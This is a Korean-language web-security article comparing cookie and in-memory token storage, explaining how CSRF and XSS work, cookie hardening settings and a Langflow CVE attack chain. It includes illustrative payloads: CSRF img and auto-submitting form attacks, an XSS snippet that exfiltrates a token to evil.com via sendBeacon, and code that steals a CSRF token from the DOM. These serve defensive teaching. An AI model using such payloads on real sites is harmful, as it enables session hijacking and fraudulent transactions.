쿠키와 JavaScript 메모리는 토큰 저장소로서 보안 특성이 다릅니다. 쿠키는 자동 전송되어 CSRF에 노출되고, 메모리는 JavaScript로 접근 가능해 XSS에 노출됩니다. 각 위협의 구조와 방어 수단을 정리합니다.

쿠키와 메모리, 뭐가 다른가

DevTools에서 보이냐 안 보이냐는 보안 기준이 아닙니다. DevTools를 열려면 사용자 본인이 자기 브라우저를 조작해야 하고, 이건 위협 모델에서 물리적 접근에 해당합니다. 이 수준의 접근이 가능하면 메모리 토큰도 V8 힙 포렌식으로 추출할 수 있습니다.

실제로 보안에 영향을 주는 차이는 두 가지뿐입니다.

기준	쿠키	메모리 (JS 변수)
요청에 자동으로 붙나	도메인 일치 시 자동 전송	코드가 명시적으로 헤더에 첨부
JavaScript로 읽히나	HttpOnly면 읽기 불가	같은 실행 컨텍스트에서 읽기 가능

자동 전송은 CSRF 취약점을 만들고, JS 접근 가능은 XSS 토큰 탈취를 만듭니다. 쿠키와 메모리 중 어디가 더 안전한지는 결국 CSRF와 XSS 중 어느 쪽이 더 위험한지에 달려 있습니다. 각각을 살펴봅니다.

자동 전송이 만드는 취약점: CSRF

쿠키는 브라우저가 알아서 요청에 붙입니다. CSRF(Cross-Site Request Forgery)는 이 동작을 악용합니다.

1. 사용자가 bank.com에 로그인 → 세션 쿠키 발급
2. 사용자가 evil.com 방문
3. evil.com이 bank.com으로 요청 전송
4. 브라우저가 bank.com 쿠키를 자동 첨부
5. bank.com은 정상 요청과 구분 불가 → 실행

성립 조건은 세 가지입니다. 서버에 상태를 변경하는 action이 있고, 쿠키 기반 세션으로 인증하고, 요청에 예측 불가능한 파라미터가 없어야 합니다. CSRF는 blind attack이라 공격자는 요청만 보낼 수 있고 응답은 읽지 못합니다.

GET 기반 — 이미지 태그 하나로 충분합니다.

<img src="https://bank.com/transfer?to=attacker&amount=10000" />

POST 기반 — 숨겨진 폼이 자동 제출됩니다.

<form id="csrf-form" action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>

CWE Top 25 2025에서 CSRF(CWE-352)는 3위입니다. SameSite=Lax가 기본값이 된 시대에 순위가 오히려 오르는 이유는, CSRF가 다른 취약점과 체인으로 엮이면서 공격 수단으로서의 가치가 높아졌기 때문입니다.

CSRF 방어: SameSite

쿠키의 자동 전송을 제어하는 속성입니다.

속성	cross-site POST	cross-site GET(top-level)	iframe/fetch/XHR
None	전송	전송	전송
Lax	차단	전송	차단
Strict	차단	차단	차단

Chrome 80(2020년 2월)부터 SameSite 미지정 시 Lax가 기본값입니다. Lax만으로 POST, iframe, fetch/XHR 기반 CSRF가 전부 차단됩니다.

하지만 구멍이 있습니다.

Lax+POST 2분 윈도우. SameSite를 명시하지 않아 암묵적 Lax가 적용된 쿠키는, 설정 후 2분간 cross-site top-level POST에도 전송됩니다. 명시적으로 SameSite=Lax를 설정하면 이 윈도우가 없습니다.

GET 상태 변경. Lax는 top-level GET navigation에 쿠키를 보냅니다. GET /delete-account?confirm=true 같은 endpoint가 있으면 Lax로도 못 막습니다.

서브도메인. SameSite는 eTLD+1로 Same-Site를 판단합니다. evil.example.com과 bank.example.com은 Same-Site입니다. 서브도메인 하나가 뚫리면 SameSite는 무력합니다.

Strict를 안 쓰는 이유. Strict는 보안이 가장 강하지만 UX를 망가뜨립니다. 이메일 링크를 클릭해도 로그인이 풀리고, 검색 엔진에서 들어와도 마찬가지입니다. 실무에서는 이중 쿠키 패턴을 씁니다.

session_read: SameSite=Lax   → 읽기/표시용 (외부 유입 시 로그인 유지)
session:      SameSite=Strict → 민감한 쓰기 작업용 (CSRF 완전 차단)

CSRF 방어: 토큰과 헤더

SameSite만으로는 서브도메인 공격, GET 상태 변경 같은 구멍이 남습니다. 추가 방어의 핵심 원리는 하나입니다: 공격자가 알 수 없는 값을 요청에 포함시켜라.

CSRF가 성립하는 이유를 다시 봅니다. 공격자는 사용자의 브라우저를 이용해 요청을 보내지만, Same-Origin Policy 때문에 대상 사이트의 페이지 내용은 읽지 못합니다. 이 제약을 역으로 이용합니다 — 서버가 페이지에 비밀 값을 심어두고 요청 시 함께 보내게 하면, 페이지를 읽을 수 없는 공격자는 그 값을 알 수 없으므로 요청을 위조할 수 없습니다.

Synchronizer Token Pattern — OWASP가 가장 먼저 권장하는 방식입니다.

1. 사용자 로그인 → 서버가 세션에 묶인 랜덤 토큰(128비트 이상) 생성
2. 서버가 HTML 폼에 hidden field로 토큰 삽입
   <input type="hidden" name="_csrf" value="a1b2c3..." />
3. 사용자가 폼 제출 → 토큰이 함께 전송
4. 서버가 세션의 토큰 vs 요청의 토큰 대조 → 불일치 시 거부

공격자가 evil.com에서 bank.com/transfer 폼을 위조해도, hidden field에 들어갈 토큰 값을 알 수 없습니다. bank.com 페이지를 읽어야 토큰을 알 수 있는데, Same-Origin Policy가 이를 차단합니다.

Double Submit Cookie — 서버에 세션 상태를 저장하지 않는 stateless 환경을 위한 대안입니다.

1. 서버가 랜덤 값을 쿠키와 응답 본문 양쪽에 설정
2. 클라이언트가 요청 시 쿠키는 자동 전송 + 같은 값을 헤더/body에도 직접 첨부
3. 서버가 쿠키 값 vs 헤더/body 값 대조 → 불일치 시 거부

공격자는 cross-site 요청으로 쿠키를 자동 전송시킬 수 있지만, 헤더나 body에 같은 값을 넣으려면 쿠키 값을 먼저 읽어야 합니다. HttpOnly 쿠키는 JavaScript로 읽을 수 없고, cross-origin에서는 Set-Cookie 응답도 볼 수 없으므로 값을 알 수 없습니다. HMAC 서명을 추가하면 서브도메인에서 쿠키를 덮어쓰는 Cookie Tossing 공격까지 차단됩니다 — 서버의 비밀키 없이는 유효한 서명을 만들 수 없기 때문입니다.

Custom Request Header — 커스텀 헤더 존재 여부로 검증하는 방식입니다.

// 클라이언트: 모든 상태 변경 요청에 커스텀 헤더 추가
fetch('/api/transfer', {
  method: 'POST',
  headers: { 'X-Requested-With': 'XMLHttpRequest' },
  body: JSON.stringify({ to: 'recipient', amount: 1000 })
});
// 서버: 이 헤더가 없으면 요청 거부

cross-origin 요청에 커스텀 헤더를 붙이면 브라우저가 먼저 preflight(OPTIONS) 요청을 보냅니다. 서버가 해당 origin을 허용하지 않으면 preflight에서 차단되어 본 요청이 전송되지 않습니다. HTML 폼 태그로는 커스텀 헤더를 설정할 수 없으므로 폼 기반 CSRF도 차단됩니다.

여기까지가 쿠키의 자동 전송이 만드는 문제(CSRF)와 그 방어입니다. 쿠키를 쓰더라도 SameSite=Lax + CSRF 토큰을 조합하면 CSRF는 대부분 막힙니다.

그런데 메모리 토큰은 CSRF에 완전히 면역입니다. Authorization 헤더에 코드가 직접 첨부하니까 cross-site에서 위조할 방법이 없습니다. 이것만 보면 메모리가 더 나아 보입니다.

이제 두 번째 차이, JS 접근성이 만드는 문제를 봅니다.

JS 접근이 만드는 취약점: XSS 토큰 탈취

메모리 토큰은 JavaScript 변수입니다. XSS(Cross-Site Scripting)가 실행되면 같은 origin에서 돌아가므로 이 변수를 그냥 읽을 수 있습니다. 반면 HttpOnly 쿠키는 document.cookie로 접근 자체가 안 됩니다.

MITRE/CISA 기준 2025년 가장 위험한 소프트웨어 약점에서 XSS가 1위, CSRF가 3위입니다. 단순한 순위 차이가 아니라 할 수 있는 일의 범위가 다릅니다.

CSRF는 blind attack입니다. 요청만 보낼 수 있고 응답은 못 읽습니다.

XSS는 master key입니다. same-origin에서 실행되니까 토큰 탈취, CSRF 방어 무력화, key 입력 가로채기, phishing 폼 삽입, 인증된 API 무제한 호출이 전부 가능합니다. XSS가 뚫리면 CSRF 토큰도 DOM에서 읽어버리므로 CSRF 방어 자체가 무의미해집니다.

여기서 답이 기울기 시작합니다. 쿠키의 약점인 CSRF는 SameSite=Lax + CSRF 토큰으로 대부분 막히지만, 메모리의 약점인 XSS 토큰 탈취는 막을 수단이 없습니다. 메모리에 있는 이상 XSS가 읽는 걸 막을 방법이 없으니까요.

쿠키:   CSRF에 약하지만 방어 가능, XSS 토큰 탈취에 강함
메모리: CSRF에 면역, XSS 토큰 탈취에 무방비

XSS가 더 위험하고, 쿠키의 약점은 방어가 되고, 메모리의 약점은 방어가 안 됩니다. HttpOnly 쿠키 + CSRF 방어가 메모리보다 안전합니다.

XSS 발생 시 저장 방식별 피해 범위

"어차피 XSS가 뚫리면 둘 다 끝 아닌가?" — 둘 다 피해를 입는 건 맞지만, 공격자가 확보하는 능력이 근본적으로 다릅니다. 차이는 토큰을 공격자의 환경으로 유출할 수 있느냐에서 갈립니다.

HttpOnly 쿠키: 세션 바운드 프록시 공격

// XSS 코드가 피해자의 브라우저 안에서 API를 직접 호출
fetch('/api/transfer', {
  method: 'POST',
  body: JSON.stringify({ to: 'attacker', amount: 10000 })
});
// 쿠키가 자동으로 붙어 요청은 성공하지만, 토큰 값 자체는 접근 불가

공격자는 피해자의 브라우저를 프록시로 사용합니다. XSS 스크립트가 실행되는 동안에만, 해당 탭 안에서만 동작합니다.

• 토큰 값을 외부로 유출할 수 없음 — HttpOnly가 JavaScript 접근을 차단
• 피해자가 페이지를 떠나면 공격 종료
• 서버 측 rate limiting, 이상 탐지가 유효 (동일 IP/세션)

메모리 토큰: 토큰 유출 후 오프사이트 공격

// XSS 코드가 메모리에서 토큰을 읽어 외부로 전송
const token = window.__accessToken;
navigator.sendBeacon('https://evil.com/collect', token);

# 공격자가 자신의 환경에서 독립적으로 API 호출
curl -H "Authorization: Bearer <탈취한 토큰>" https://api.target.com/users
curl -H "Authorization: Bearer <탈취한 토큰>" https://api.target.com/admin/settings

토큰이 외부로 유출되면 공격자는 피해자의 브라우저가 필요 없어집니다.

• 토큰을 공격자 서버로 전송 → 피해자 환경과 독립적으로 사용
• 피해자가 브라우저를 닫아도 토큰 만료 시까지 공격 지속
• 공격자 인프라에서 자동화 가능 — 다른 IP에서 오는 요청이라 탐지가 어려움

구분	HttpOnly 쿠키	메모리 토큰
공격 범위	피해자 브라우저 내부	공격자 환경 (외부)
공격 지속	세션/페이지 한정	토큰 만료까지
토큰 유출	불가	가능
서버 측 탐지	가능 (동일 IP/세션)	어려움 (다른 IP/환경)

쿠키를 쓰기로 했다면: 보안 속성

쿠키가 메모리보다 안전하다는 결론이 나왔으니, 쿠키를 제대로 설정하는 방법을 정리합니다. 각 속성은 서로 다른 공격 벡터를 차단하며, 조합해서 사용해야 합니다.

HttpOnly는 document.cookie 접근을 차단합니다. XSS가 실행되어도 쿠키 값 자체의 탈취를 막습니다. 다만 인증된 API 호출(대리 실행)까지는 방어하지 못합니다. Secure는 HTTPS 연결에서만 쿠키를 전송합니다. Strict-Transport-Security(HSTS)와 함께 설정해야 첫 HTTP 요청에서의 노출도 방지됩니다. Domain은 생략하는 것이 더 안전합니다. 생략하면 해당 호스트에서만 전송되는 Host-Only Cookie가 되고, Domain=example.com으로 설정하면 *.example.com 전체에 전송되어 가장 약한 서브도메인이 전체 보안 수준을 결정합니다. __Host- 접두사는 브라우저가 Secure 필수, Path=/ 필수, Domain 설정 불가를 강제합니다. 서브도메인이나 비보안 채널에서 같은 이름의 쿠키를 덮어쓰는 Cookie Tossing을 원천 차단합니다.

	CSRF	XSS 쿠키 탈취	MITM	Cookie Tossing
SameSite=Lax	부분 방어	—	—	—
SameSite=Strict	완전 방어	—	—	—
HttpOnly	—	탈취 차단	—	—
Secure	—	—	완전 방어	—
__Host- 접두사	—	—	완전 방어	완전 방어

운영 환경 권장 설정:

# 세션 쿠키 — 모든 보안 속성 적용
__Host-session=abc; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=3600

# CSRF 토큰 — JavaScript가 읽어야 하므로 HttpOnly 제외
__Host-csrf=xyz; Secure; SameSite=Strict; Path=/

# 로그인 상태 표시 — 민감하지 않은 데이터
__Secure-logged_in=true; Secure; SameSite=Lax; Path=/

현실의 공격은 체인이다

지금까지 CSRF와 XSS를 따로 봤지만, 실제 보안 사고에서는 취약점이 단독으로 터지지 않습니다.

XSS → CSRF 무력화

const token = document.querySelector('meta[name="csrf-token"]').content;

fetch('/api/transfer', {
  method: 'POST',
  headers: { 'X-CSRF-Token': token },
  body: JSON.stringify({ to: 'attacker', amount: 10000 }),
});

same-origin XSS는 CSRF 토큰을 DOM에서 읽을 수 있습니다. CSRF 토큰, SameSite, Custom Header 전부 무의미해집니다.

CORS 설정 오류 → CSRF 업그레이드

CSRF는 blind attack이라 응답을 읽지 못합니다. 하지만 CORS가 잘못 설정되면 이 제약이 사라집니다. Origin 헤더를 그대로 반사하거나, 정규식 화이트리스트 실수(bank.com.evil.com 매칭), 모든 서브도메인을 무조건 신뢰하는 설정이 대표적입니다. "쓰기만 가능한" CSRF가 "읽기+쓰기" 공격으로 업그레이드됩니다.

실제 사례: Langflow CVE-2025-34291 (CVSS 9.4)

1. CORS 설정: 모든 origin 허용
2. 쿠키 설정: SameSite=None (cross-site 쿠키 전송)
3. Refresh endpoint: CSRF 토큰 없음
4. evil.com에서 refresh endpoint 호출 → 쿠키 자동 전송 → 새 access token 발급
5. CORS가 응답 읽기 허용 → access token 탈취
6. 탈취한 토큰으로 RCE 실행

CORS 설정 오류 + SameSite=None + CSRF 미적용 세 가지가 결합되어 시스템 전체가 뚫린 사례입니다.

정리

"토큰을 어디에 저장하지?"라는 질문에서 시작했습니다. 쿠키와 메모리의 보안 차이는 두 가지 — 자동 전송 여부와 JS 접근 가능 여부 — 이고, 이 차이가 각각 CSRF와 XSS 토큰 탈취라는 취약점을 만듭니다.

XSS가 CSRF보다 위험하고, 쿠키의 약점(CSRF)은 방어 수단이 있지만 메모리의 약점(XSS 탈취)은 막을 방법이 없으므로, HttpOnly 쿠키가 메모리보다 안전합니다. 다만 쿠키도 XSS 앞에서 완전하지 않습니다 — 탈취는 못 해도 대리 요청은 가능하고, 현실의 공격은 단일 취약점이 아니라 체인으로 엮입니다.

HttpOnly + Secure + SameSite=Lax + CSRF 토큰 조합이 대부분의 웹 서비스에서 현실적인 선택입니다. 토큰을 브라우저에 아예 보내지 않는 BFF(Backend-for-Frontend) 패턴이 가장 안전하지만, 아키텍처 복잡도와 트레이드오프가 있습니다.

References

• OWASP CSRF Prevention Cheat Sheet
• CWE Top 25 Most Dangerous Software Weaknesses 2025
• MDN - SameSite cookies
• PortSwigger - CSRF
• Auth0 — Token Storage
• Auth0 — The Backend for Frontend Pattern